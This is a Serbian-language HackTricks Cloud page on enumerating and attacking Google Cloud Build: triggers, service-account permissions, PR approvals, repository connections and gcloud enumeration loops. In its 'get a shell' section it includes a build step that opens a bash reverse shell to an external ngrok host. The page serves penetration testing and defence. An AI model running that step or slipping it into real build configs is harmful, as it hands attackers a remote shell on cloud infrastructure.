GCP - Cloud Build Enum
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Google Cloud Build je upravljana CI/CD platforma koja automatski gradi i objavljuje softver, integrišući se sa repozitorijumima izvornog koda i podržavajući širok spektar programskih jezika. Omogućava programerima da automatski grade, testiraju i implementiraju kod dok pruža fleksibilnost za prilagođavanje koraka izgradnje i radnih tokova.
Svaki Cloud Build Trigger je povezan sa Cloud Repozitorijumom ili direktno povezan sa spoljnim repozitorijumom (Github, Bitbucket i Gitlab).
tip
Nisam mogao da vidim nijedan način da ukradem Github/Bitbucket token odavde ili iz Cloud Repozitorijuma jer kada se repo preuzme, pristupa mu se putem https://source.cloud.google.com/ URL-a i Github se ne pristupa od strane klijenta.
Događaji
Cloud Build može biti pokrenut ako:
- Push na granu: Odredite granu
- Push novog taga: Odredite tag
- Pull request: Odredite granu koja prima PR
- Ručno pozivanje
- Pub/Sub poruka: Odredite temu
- Webhook događaj: Izložiće HTTPS URL i zahtev mora biti autentifikovan tajnom
Izvršenje
Postoje 3 opcije:
- Yaml/json koji specificira komande za izvršenje. Obično:
/cloudbuild.yaml
- Samo jedan koji može biti specificiran “inline” u web konzoli i u cli
- Najčešća opcija
- Relevantno za neautentifikovani pristup
- Dockerfile za izgradnju
- Buildpack za izgradnju
SA Dozvole
Servisni nalog ima cloud-platform
opseg, tako da može koristiti sve privilegije. Ako nije specificiran SA (kao kada se radi submit) koristiće se podrazumevani SA <proj-number>@cloudbuild.gserviceaccount.com
.
Podrazumevano, nijedna dozvola nije data, ali je prilično lako dati neke:
.png)
Odobrenja
Moguće je konfigurisati Cloud Build da zahteva odobrenja za izvršenja izgradnje (onemogućeno podrazumevano).
PR Odobrenja
Kada je okidač PR, jer bilo ko može da izvrši PR-ove na javnim repozitorijumima, bilo bi veoma opasno samo dozvoliti izvršenje okidača sa bilo kojim PR-om. Stoga, podrazumevano, izvršenje će biti automatsko samo za vlasnike i saradnike, a da bi se izvršio okidač sa PR-ovima drugih korisnika, vlasnik ili saradnik mora komentarisati /gcbrun
.
.png)
Povezivanja i Repozitorijumi
Povezivanja se mogu kreirati preko:
- GitHub: Prikazaće OAuth prompt koji traži dozvole za dobijanje Github tokena koji će biti sačuvan unutar Secret Manager-a.
- GitHub Enterprise: Tražiće da se instalira GithubApp. Token za autentifikaciju sa vašeg GitHub Enterprise hosta biće kreiran i sačuvan u ovom projektu kao Secret Manager tajna.
- GitLab / Enterprise: Morate obezbediti API pristupni token i Read API pristupni token koji će biti sačuvani u Secret Manager-u.
Kada se povezuje, možete ga koristiti za povezivanje repozitorijuma kojima Github nalog ima pristup.
Ova opcija je dostupna putem dugmeta:
.png)
tip
Imajte na umu da su repozitorijumi povezani ovom metodom samo dostupni u Trigerima koristeći 2. generaciju.
Povezivanje Repozitorijuma
Ovo nije isto što i povezivanje
. Ovo omogućava različite načine za dobijanje pristupa Github ili Bitbucket repozitorijumu, ali ne generiše objekat povezivanja, već generiše objekat repozitorijuma (1. generacija).
Ova opcija je dostupna putem dugmeta:
.png)
Skladištenje
Ponekad Cloud Build će generisati novo skladište za čuvanje datoteka za okidač. To se dešava, na primer, u primeru koji GCP nudi sa:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Kreiran je Storage bucket pod nazivom security-devbox_cloudbuild za čuvanje .tgz
datoteke sa datotekama koje će se koristiti.
Dobijanje shel-a
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Instalirajte gcloud unutar cloud build:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Enumeration
Možete pronaći osetljive informacije u konfiguracijama gradnje i logovima.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Eskalacija privilegija
Neautentifikovani pristup
GCP - Cloud Build Unauthenticated Enum
Post eksploatacija
GCP - Cloud Build Post Exploitation
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.